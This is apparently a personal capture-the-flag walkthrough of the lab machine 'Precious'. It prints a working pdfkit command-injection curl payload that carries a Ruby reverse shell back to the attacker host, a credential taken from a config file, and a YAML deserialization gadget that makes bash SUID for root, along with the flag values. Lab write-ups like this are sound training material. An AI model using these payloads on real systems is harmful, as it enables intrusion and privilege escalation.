Precious

TARGET IP: 10.10.11.189

HOST IP: 10.10.16.10

Recon

NMAP

nmap [Target IP]

nmap -A -p 22,80 [Target IP]

HTTP

• First start by adding the URL to the associated target IP Address by adding it to the hosts file.

echo "[TARGET IP] precious.htb" | sudo tee -a /etc/hosts

• I tried adding a URL to see what happens but it looks like it does not have web access to view page.

• 
• I tried http://precious.htb/ and that still didn't work.
• 
• It does look like it will return credentials back depending on what you put in.

Enumeration

Gobuster

gobuster dir -u http://precious.htb/ -w /usr/share/dirb/wordlists/common.txt

Exploit

• It looks like none of my notes from last night got saved for some stupid fucking reason. I need to learn how to better use this fucking site or this is going to drive me fucking nuts.

• Long story but I created different file extension payloads. It seems like the machine filters out .php and .rb file extensions and will make a pdf file of any other file type I load into it.

• I did this by starting up a python web server on my host machine and plugging the URL into the input box on the web server and opening up a netcat listener to see if I could get something to stick.

• I'm still not positive on the backend code being used but am making the assumption that it is either php or ruby.

JAVA

• I started trying out java reverse shells and got something interesting when I used a java one liner with the file extension .xml.

PDF

• I finally downloaded one of the pdfs that I created and opened it in exiftool to take a look at the properties.

exiftool [PDF File Path]

• It looks like the Creator's name is pdfkit V0.8.6

• Let's go take a look at how I can possibly exploit this.

CVE-2022-25765

• Looks like this tool has a vulnerability that allows for Command Injection. Let's see if we can exploit this.

• Set up a netcat listener

nc -lvnp 4444

• I found a tool on Github that uses a curl command and forms a reverse shell that exploits the vulnerability.

curl '[TARGET URL]' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: [TARGET URL]' -H 'Connection: keep-alive' -H 'Referer: [TARGET URL]' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F[HOST IP]%3A[HOST PORT]%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22[HOST IP]%22%2C[HOST PORT]%29%29%27%60'

• The data being sent is a URL-encoded Ruby reverse shell that connects back to the netcat listener I have set up.

• 
• Let's get a more interactive shell to work with.

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
^Z

• On host machine, reopen the terminal and ignore the echo.

stty raw -echo; fg

• Let's go look for the user flag.

find / -name user.txt 2>/dev/null

• Looks like the file is unreadable due to permissions. Let's see what we can do about that.

• I now know we have at least 3 users on the system:

  • henry

  • ruby

  • root

• We can confirm this in the /ect/passwd file.

• I tired sudo -l but needed a password to use it. I also spent some time digging around to try find some other useful information. In the end, I went ahead and uploaded linpeas and ran that to see what was available.

• I used the same python web server I already had running.

wget http://[HOST IP]:8000/linpeas.sh
./linpeas.sh

• I wasn't getting anywhere there so I started browsing around a bit more. in the directory /home/ruby/.bundle/config I found some juicy info.

• Looks like possible credentials for henry.

henry:Q3c1AqGHtoI0aXAYFH

• I'll now SSH into the machine with henry's credentials and it works.

ssh henry@[Target IP]

• Now let's get that user file.

0d534cd692f6860abfeb9af4ba3c4e92

• Next step is to see what priveleges I have as Henry.

sudo -l

• We have sudo privileges to run the update/dependencies.rb file. If we cat that file we can see that it calls back to a dependencies.yml file.

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

• With this information, we should be able to craft a new dependencies.yml file with malicious code that it will call back to as sudo.

• In the /home/henry directory we will create a new dependencies.yml file and use this code snippet I got online.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "chmod +s /bin/bash"
         method_id: :resolve

• You'll notice that the git_set is set to chmod +s /bin/bash.

• This sets SUID to the that file which means we should be able to exploit it and escalate out privileges.

• In the same directory that you created the dependencies.yml file, run the following:

sudo /usr/bin/ruby /opt/update_dependencies.rb

• This will execute file and end up changing the /bin/bash file privileges.

• After this is done, we can use a privilege escalation technique from GTFOBins to escalate our privileges.

/bin/bash -p

• Check to see who are with whoami and you should now be root.

cat /root/root.txt

7090f28f7bc0ffc0a8b3203bd45ff6ac